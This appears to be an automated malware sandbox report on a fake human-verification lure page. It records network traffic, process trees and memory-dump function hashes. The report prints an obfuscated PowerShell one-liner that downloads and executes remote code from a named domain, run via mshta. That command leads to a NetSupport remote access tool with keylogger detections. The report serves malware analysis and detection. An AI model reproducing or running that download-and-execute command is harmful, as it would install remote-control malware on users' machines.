2024-10-28 18:46:04 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: c23faf69-c0c4-4e57-bf8d-cccb78267141 MS-RequestId: abd692b7-9da2-438e-95f8-d9365aac8573 MS-CV: KMbLgFMLH0O3kZG5.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Mon, 28 Oct 2024 18:46:04 GMT Connection: close Content-Length: 30005
2024-10-28 18:46:04 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-10-28 18:46:04 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.16	49724	166.1.160.75	443	7848	C:\Windows\System32\mshta.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:46:12 UTC	340	OUT	GET /Ray-verify.html HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: inspyrehomedesign.com Connection: Keep-Alive
2024-10-28 18:46:12 UTC	279	IN	HTTP/1.1 200 OK Server: nginx/1.26.2 Date: Mon, 28 Oct 2024 18:46:12 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 10478 Connection: close Last-Modified: Mon, 21 Oct 2024 07:55:44 GMT ETag: "28ee-624f7fad44000" Accept-Ranges: bytes Vary: Accept-Encoding
2024-10-28 18:46:12 UTC	10478	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 27 78 2d 75 61 2d 63 6f 6d 70 61 74 69 62 6c 65 27 20 63 6f 6e 74 65 6e 74 3d 27 45 6d 75 6c 61 74 65 49 45 39 27 3e 3c 4d 45 54 41 20 4e 41 4d 45 3d 27 47 45 4e 45 52 41 54 4f 52 27 20 43 6f 6e 74 65 6e 74 3d 27 54 68 65 20 73 6f 75 72 63 65 20 63 6f 64 65 20 6f 66 20 74 68 69 73 20 70 61 67 65 20 69 73 20 65 6e 63 72 79 70 74 65 64 20 77 69 74 68 20 48 54 4d 4c 20 47 75 61 72 64 69 61 6e 2c 20 20 74 68 65 20 77 6f 72 6c 64 27 73 20 73 74 61 6e 64 61 72 74 20 66 6f 72 20 77 65 62 73 69 74 65 20 70 72 6f 74 65 63 74 69 6f 6e 2e 20 56 69 73 69 74 20 68 74 74 70 3a 2f 2f 77 77 77 2e 70 72 6f 74 77 61 72 65 2e 63 6f 6d 20 66 6f 72 20 64 65 74 61 69 6c 73 27 3e 3c 6d 65 74 Data Ascii: <html><head><meta http-equiv='x-ua-compatible' content='EmulateIE9'><META NAME='GENERATOR' Content='The source code of this page is encrypted with HTML Guardian, the world's standart for website protection. Visit http://www.protware.com for details'><met

Target ID:	0
Start time:	14:45:11
Start date:	28/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff7f9810000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	1
Start time:	14:45:12
Start date:	28/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2164 --field-trial-handle=1896,i,2740781035066481159,16273883810358689985,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff7f9810000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	14:45:13
Start date:	28/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://inspyrehomedesign.com/Ray-verify.html"
Imagebase:	0x7ff7f9810000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	14:46:10
Start date:	28/10/2024
Path:	C:\Windows\System32\mshta.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\mshta.exe" https://inspyrehomedesign.com/Ray-verify.html # ? ''Verify you are human - Ray Verification ID: 3293''
Imagebase:	0x7ff60c100000
File size:	14'848 bytes
MD5 hash:	0B4340ED812DC82CE636C00FA5C9BEF2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	14:46:11
Start date:	28/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='(New-Object Net.We'; $c4='bClient).Downlo'; $c3='adString(''http://traversecityspringbreak.com/o/o.png'')';$TC=I`E`X ($c1,$c4,$c3 -Join '')\|I`E`X
Imagebase:	0x7ff7582a0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	14:46:11
Start date:	28/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6684c0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	14:46:15
Start date:	28/10/2024
Path:	C:\Windows\System32\ipconfig.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\ipconfig.exe" /flushdns
Imagebase:	0x7ff79a970000
File size:	35'840 bytes
MD5 hash:	62F170FB07FDBB79CEB7147101406EB8
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	14:46:16
Start date:	28/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\cmd.exe" /c attrib +h C:\Users\user\AppData\Roaming\bpsFyf
Imagebase:	0x7ff6fd780000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	14:46:16
Start date:	28/10/2024
Path:	C:\Windows\System32\attrib.exe
Wow64 process (32bit):	false
Commandline:	attrib +h C:\Users\user\AppData\Roaming\bpsFyf
Imagebase:	0x7ff7fdf20000
File size:	23'040 bytes
MD5 hash:	5037D8E6670EF1D89FB6AD435F12A9FD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	14:46:27
Start date:	28/10/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
Imagebase:	0x7ff61d1e0000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	14:46:34
Start date:	28/10/2024
Path:	C:\Users\user\AppData\Roaming\bpsFyf\client32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\bpsFyf\client32.exe"
Imagebase:	0xd10000
File size:	120'288 bytes
MD5 hash:	EE75B57B9300AAB96530503BFAE8A2F2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000015.00000002.2427569432.000000006C640000.00000002.00000001.01000000.00000013.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000015.00000002.2405808800.0000000000D12000.00000002.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000015.00000000.1975726137.0000000000D12000.00000002.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000015.00000000.1975726137.0000000000D1F000.00000002.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe, Author: Joe Security
Antivirus matches:	Detection: 13%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Function 0000025C9848621E Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000003.1753176795.0000025C98486000.00000010.00000800.00020000.00000000.sdmp, Offset: 0000025C98486000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_3_25c98486000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 470f8003a2280efb8a85aaf11524de6dd5d9ed2339bdb3fb46ecfecfb8a350fe
Instruction ID: b64934c4bdc6a461ae54f48410479c8b1748399c0bc269c68b9f6d8d85d27d3a
Opcode Fuzzy Hash: 470f8003a2280efb8a85aaf11524de6dd5d9ed2339bdb3fb46ecfecfb8a350fe
Instruction Fuzzy Hash: 9751F15011EBC51FC7A6977C58AA6F67FE0DF1B210B1808CED0C9CF9A3D018985AC35A

Function 0000025C98486414 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000003.1753176795.0000025C98486000.00000010.00000800.00020000.00000000.sdmp, Offset: 0000025C98486000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_3_25c98486000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7581baa57a302103d4aa8c3cf9027a97514bb7b839cbc7e4b19859b555f7bbac
Instruction ID: 97a3812351a2b0c2571ed4c6c034697fff15af32a4e642c11de61a9c62066b47
Opcode Fuzzy Hash: 7581baa57a302103d4aa8c3cf9027a97514bb7b839cbc7e4b19859b555f7bbac
Instruction Fuzzy Hash: 0911E1A121DB880FDB98E63C9469A757BD0DF69314F4404DEE085CB2A2E424EC82C38A

Function 0000025C98481F4D Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000003.1753261441.0000025C98481000.00000010.00000800.00020000.00000000.sdmp, Offset: 0000025C98481000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_3_25c98481000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f1cbebfe36d22b0706020cafc36a86d290b3a2ea38b71e1cec28c3ffda9a938
Instruction ID: 752b44dfaf469ce9382a1c5f46fdced184170793645e259864460362c5f99246
Opcode Fuzzy Hash: 9f1cbebfe36d22b0706020cafc36a86d290b3a2ea38b71e1cec28c3ffda9a938
Instruction Fuzzy Hash: F8E04F5151DFC80FEB5A5374187D1747EE1DF56250B9408CFD89ACB4A3DC2408818316

Function 0000025C98484B82 Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000003.1753224248.0000025C98484000.00000010.00000800.00020000.00000000.sdmp, Offset: 0000025C98484000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_3_25c98484000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f3a31a653940f2cd1f2bac128e10a96e544339aff0aba06e2f8f8b97b4691e81
Instruction ID: c7c2afde1b6d3ef774ef234a620332e7dedf8bbd4c895b1d765bc1ec3eab262a
Opcode Fuzzy Hash: f3a31a653940f2cd1f2bac128e10a96e544339aff0aba06e2f8f8b97b4691e81
Instruction Fuzzy Hash: BDB0125280CF804EF32519700D1C12425818B553F173509C35805E7062ED204D4001A1

Function 0000025C98390F79 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000003.1753299678.0000025C98390000.00000010.00000800.00020000.00000000.sdmp, Offset: 0000025C98390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_3_25c98390000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 408bef09d469c2f46428e607b0c970413b7c389e1ff92e89cd5a5ac698755f7d
Instruction ID: 6b96d785f7bafc17d4179e51ec5979a3b04b44e9525dc4191be920b3615cac48
Opcode Fuzzy Hash: 408bef09d469c2f46428e607b0c970413b7c389e1ff92e89cd5a5ac698755f7d
Instruction Fuzzy Hash: C2900206499906E9D41411910C5926C50407388261FE454904427D1144E55E03965156

Function 0000025C98390F11 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000003.1753299678.0000025C98390000.00000010.00000800.00020000.00000000.sdmp, Offset: 0000025C98390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_3_25c98390000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 408bef09d469c2f46428e607b0c970413b7c389e1ff92e89cd5a5ac698755f7d
Instruction ID: 6b96d785f7bafc17d4179e51ec5979a3b04b44e9525dc4191be920b3615cac48
Opcode Fuzzy Hash: 408bef09d469c2f46428e607b0c970413b7c389e1ff92e89cd5a5ac698755f7d
Instruction Fuzzy Hash: C2900206499906E9D41411910C5926C50407388261FE454904427D1144E55E03965156

Function 0000025C98390F51 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000003.1753299678.0000025C98390000.00000010.00000800.00020000.00000000.sdmp, Offset: 0000025C98390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_3_25c98390000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 408bef09d469c2f46428e607b0c970413b7c389e1ff92e89cd5a5ac698755f7d
Instruction ID: 6b96d785f7bafc17d4179e51ec5979a3b04b44e9525dc4191be920b3615cac48
Opcode Fuzzy Hash: 408bef09d469c2f46428e607b0c970413b7c389e1ff92e89cd5a5ac698755f7d
Instruction Fuzzy Hash: C2900206499906E9D41411910C5926C50407388261FE454904427D1144E55E03965156

Function 0000025C98390F91 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000003.1753299678.0000025C98390000.00000010.00000800.00020000.00000000.sdmp, Offset: 0000025C98390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_3_25c98390000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 408bef09d469c2f46428e607b0c970413b7c389e1ff92e89cd5a5ac698755f7d
Instruction ID: 6b96d785f7bafc17d4179e51ec5979a3b04b44e9525dc4191be920b3615cac48
Opcode Fuzzy Hash: 408bef09d469c2f46428e607b0c970413b7c389e1ff92e89cd5a5ac698755f7d
Instruction Fuzzy Hash: C2900206499906E9D41411910C5926C50407388261FE454904427D1144E55E03965156

Function 0000025C98390F71 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000003.1753299678.0000025C98390000.00000010.00000800.00020000.00000000.sdmp, Offset: 0000025C98390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_3_25c98390000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 408bef09d469c2f46428e607b0c970413b7c389e1ff92e89cd5a5ac698755f7d
Instruction ID: 6b96d785f7bafc17d4179e51ec5979a3b04b44e9525dc4191be920b3615cac48
Opcode Fuzzy Hash: 408bef09d469c2f46428e607b0c970413b7c389e1ff92e89cd5a5ac698755f7d
Instruction Fuzzy Hash: C2900206499906E9D41411910C5926C50407388261FE454904427D1144E55E03965156

Function 0000025C98390F31 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000003.1753299678.0000025C98390000.00000010.00000800.00020000.00000000.sdmp, Offset: 0000025C98390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_3_25c98390000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 408bef09d469c2f46428e607b0c970413b7c389e1ff92e89cd5a5ac698755f7d
Instruction ID: 6b96d785f7bafc17d4179e51ec5979a3b04b44e9525dc4191be920b3615cac48
Opcode Fuzzy Hash: 408bef09d469c2f46428e607b0c970413b7c389e1ff92e89cd5a5ac698755f7d
Instruction Fuzzy Hash: C2900206499906E9D41411910C5926C50407388261FE454904427D1144E55E03965156

Function 0000025C98390F49 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000003.1753299678.0000025C98390000.00000010.00000800.00020000.00000000.sdmp, Offset: 0000025C98390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_3_25c98390000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 408bef09d469c2f46428e607b0c970413b7c389e1ff92e89cd5a5ac698755f7d
Instruction ID: 6b96d785f7bafc17d4179e51ec5979a3b04b44e9525dc4191be920b3615cac48
Opcode Fuzzy Hash: 408bef09d469c2f46428e607b0c970413b7c389e1ff92e89cd5a5ac698755f7d
Instruction Fuzzy Hash: C2900206499906E9D41411910C5926C50407388261FE454904427D1144E55E03965156

Function 0000025C98390F89 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000003.1753299678.0000025C98390000.00000010.00000800.00020000.00000000.sdmp, Offset: 0000025C98390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_3_25c98390000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 408bef09d469c2f46428e607b0c970413b7c389e1ff92e89cd5a5ac698755f7d
Instruction ID: 6b96d785f7bafc17d4179e51ec5979a3b04b44e9525dc4191be920b3615cac48
Opcode Fuzzy Hash: 408bef09d469c2f46428e607b0c970413b7c389e1ff92e89cd5a5ac698755f7d
Instruction Fuzzy Hash: C2900206499906E9D41411910C5926C50407388261FE454904427D1144E55E03965156

Function 0000025C98390F69 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000003.1753299678.0000025C98390000.00000010.00000800.00020000.00000000.sdmp, Offset: 0000025C98390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_3_25c98390000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 408bef09d469c2f46428e607b0c970413b7c389e1ff92e89cd5a5ac698755f7d
Instruction ID: 6b96d785f7bafc17d4179e51ec5979a3b04b44e9525dc4191be920b3615cac48
Opcode Fuzzy Hash: 408bef09d469c2f46428e607b0c970413b7c389e1ff92e89cd5a5ac698755f7d
Instruction Fuzzy Hash: C2900206499906E9D41411910C5926C50407388261FE454904427D1144E55E03965156

Function 0000025C98390FC1 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000003.1753299678.0000025C98390000.00000010.00000800.00020000.00000000.sdmp, Offset: 0000025C98390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_3_25c98390000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 408bef09d469c2f46428e607b0c970413b7c389e1ff92e89cd5a5ac698755f7d
Instruction ID: 6b96d785f7bafc17d4179e51ec5979a3b04b44e9525dc4191be920b3615cac48
Opcode Fuzzy Hash: 408bef09d469c2f46428e607b0c970413b7c389e1ff92e89cd5a5ac698755f7d
Instruction Fuzzy Hash: C2900206499906E9D41411910C5926C50407388261FE454904427D1144E55E03965156

Function 0000025C98390F41 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000003.1753299678.0000025C98390000.00000010.00000800.00020000.00000000.sdmp, Offset: 0000025C98390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_3_25c98390000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 408bef09d469c2f46428e607b0c970413b7c389e1ff92e89cd5a5ac698755f7d
Instruction ID: 6b96d785f7bafc17d4179e51ec5979a3b04b44e9525dc4191be920b3615cac48
Opcode Fuzzy Hash: 408bef09d469c2f46428e607b0c970413b7c389e1ff92e89cd5a5ac698755f7d
Instruction Fuzzy Hash: C2900206499906E9D41411910C5926C50407388261FE454904427D1144E55E03965156

Function 0000025C98390F81 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000003.1753299678.0000025C98390000.00000010.00000800.00020000.00000000.sdmp, Offset: 0000025C98390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_3_25c98390000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 408bef09d469c2f46428e607b0c970413b7c389e1ff92e89cd5a5ac698755f7d
Instruction ID: 6b96d785f7bafc17d4179e51ec5979a3b04b44e9525dc4191be920b3615cac48
Opcode Fuzzy Hash: 408bef09d469c2f46428e607b0c970413b7c389e1ff92e89cd5a5ac698755f7d
Instruction Fuzzy Hash: C2900206499906E9D41411910C5926C50407388261FE454904427D1144E55E03965156

Function 0000025C98390F61 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000003.1753299678.0000025C98390000.00000010.00000800.00020000.00000000.sdmp, Offset: 0000025C98390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_3_25c98390000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 408bef09d469c2f46428e607b0c970413b7c389e1ff92e89cd5a5ac698755f7d
Instruction ID: 6b96d785f7bafc17d4179e51ec5979a3b04b44e9525dc4191be920b3615cac48
Opcode Fuzzy Hash: 408bef09d469c2f46428e607b0c970413b7c389e1ff92e89cd5a5ac698755f7d
Instruction Fuzzy Hash: C2900206499906E9D41411910C5926C50407388261FE454904427D1144E55E03965156

Function 0000025C98390F21 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000003.1753299678.0000025C98390000.00000010.00000800.00020000.00000000.sdmp, Offset: 0000025C98390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_3_25c98390000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 408bef09d469c2f46428e607b0c970413b7c389e1ff92e89cd5a5ac698755f7d
Instruction ID: 6b96d785f7bafc17d4179e51ec5979a3b04b44e9525dc4191be920b3615cac48
Opcode Fuzzy Hash: 408bef09d469c2f46428e607b0c970413b7c389e1ff92e89cd5a5ac698755f7d
Instruction Fuzzy Hash: C2900206499906E9D41411910C5926C50407388261FE454904427D1144E55E03965156

Analysis Process: powershell.exePID: 7944, Parent PID: 7848COMMON

Execution Graph

Execution Coverage:	4.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	35.7%
Total number of Nodes:	14
Total number of Limit Nodes:	1

Executed Functions

Function 00007FFEB7112610 Relevance: 1.6, APIs: 1, Instructions: 146
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32 ref: 00007FFEB712D46F

Memory Dump Source

Source File: 0000000C.00000002.2022643969.00007FFEB7110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFEB7110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffeb7110000_powershell.jbxd

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: 454b5ee7c7e2f3d61803342ca335c442d90d7a0b9206a1f78d4074454ad86f46
Instruction ID: 1c115e247227888313d3944c8ddbd2ad1231d5e17e05dba3979936cff2a5384b
Opcode Fuzzy Hash: 454b5ee7c7e2f3d61803342ca335c442d90d7a0b9206a1f78d4074454ad86f46
Instruction Fuzzy Hash: BB41247190CA4D4FEB58DB6CC84A6F97BE0EF55320F04027FE18DC35A2DB64645A8B91

Function 00007FFEB71182C1 Relevance: 1.7, APIs: 1, Instructions: 153
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesW.KERNEL32 ref: 00007FFEB7118367

Memory Dump Source

Source File: 0000000C.00000002.2022643969.00007FFEB7110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFEB7110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffeb7110000_powershell.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 49c8fd36a7a7a35ac05a087e695f93dc2a18948933ca570b0c29358f91e7c00a
Instruction ID: 0be6820e2487ca8371e655da0811ca9c568fbd74a9a33f3e5bece790568e7e65
Opcode Fuzzy Hash: 49c8fd36a7a7a35ac05a087e695f93dc2a18948933ca570b0c29358f91e7c00a
Instruction Fuzzy Hash: 6841053190DA8D4FDB5ADB6C88456E9BFE0EF56320F08427BC049D79A2CF74A815C7A1

Function 00007FFEB711757A Relevance: 1.6, APIs: 1, Instructions: 145
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

